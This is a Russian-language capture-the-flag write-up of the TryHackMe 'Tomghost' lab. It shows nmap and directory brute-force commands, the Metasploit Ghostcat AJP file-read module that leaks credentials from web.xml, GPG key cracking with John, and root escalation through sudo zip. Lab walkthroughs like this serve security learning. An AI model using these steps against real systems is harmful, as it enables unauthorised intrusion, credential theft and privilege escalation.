Tomghost
Основная задача - закрепление элементарных базовых навыков: разведки, брутфорса, эскалации привилегий.
Описание задания можно найти на TryHackme.
Сканирование
Проведение разведки с nmap на предмет наличия открытых портов:
sudo nmap -T4 -p- IP-ADDRESS
#После получения сведений о портах
sudo nmap -sV -sC -O -p 22,8080,8009 $IP-ADDRESS
Обнаружены открытые порты 22, 8080, 8009.
Получены версии, наименования ПО работающего на открытых портах
Изучение source кода
На 8080 порту находится домашняя страница Apache TomCat. Ничего интересного там нет.
Перебор страниц и каталогов
Проводим разведку с gobuster или feroxbuster для получения информации о имеющихся директориях и файлов php
,txt
,js
,cgi
,html
,htm
,sh
:
feroxbuster -u $IP-ADDRESS -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 64 -x php,txt,js,cgi,html,htm,sh
gobuster dir -t 64-u $IP-ADDRESS -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,txt,js,cgi,html,htm,sh
Работа с exploit-db.
Обратил внимание на порт 8009. Погуглил про него, оказалось, что есть эксплойт типа LFI который позволяет прочитать конфиг файлы, а при наличии возможности загружать файлы на сервер, любой LFI может привести к RCE. Нашел такой эксплойт на exploit-db.com, а также как модуль msconsole.
msf> exploit
Запустил эксплойт через msconsole:
msf> search tomcat
...
4 auxiliary/admin/http/tomcat_ghostcat 2020-02-20 normal Yes Apache Tomcat AJP File Read
...
msf> use 4
msf> set RHOST '$TARGET_IP'
msf> exploit
WEB-IN/web.xml
в поле desription
которой обнаружена строка похожая на креды.
Поиск флагов
Воспользовался найдеными сведениями для подключения по ssh
. Пользователь не обладает sudo
. find-ом нашел флаг user.txt
, который находится в /home
другого пользователя. в текущем каталоге нашел файл credentional.pgp
и приватный ключ к нему tryhackme.asc
Пробуем расшифровать gpg файл:
оказалось, что ключ запаролен. Не беда, отправим его джону.Через scp
скачал файл приватного ключа. Скормил его gpg2john
для дальнейшей передачи в John:
credentional.gpg
- получил креды пользователя-владельца user.txt
Через sudo -l
узнал, что пользователь может запускать zip
из-под sudo
. На gtofbins нашел инфу, получил root
, получил флаг.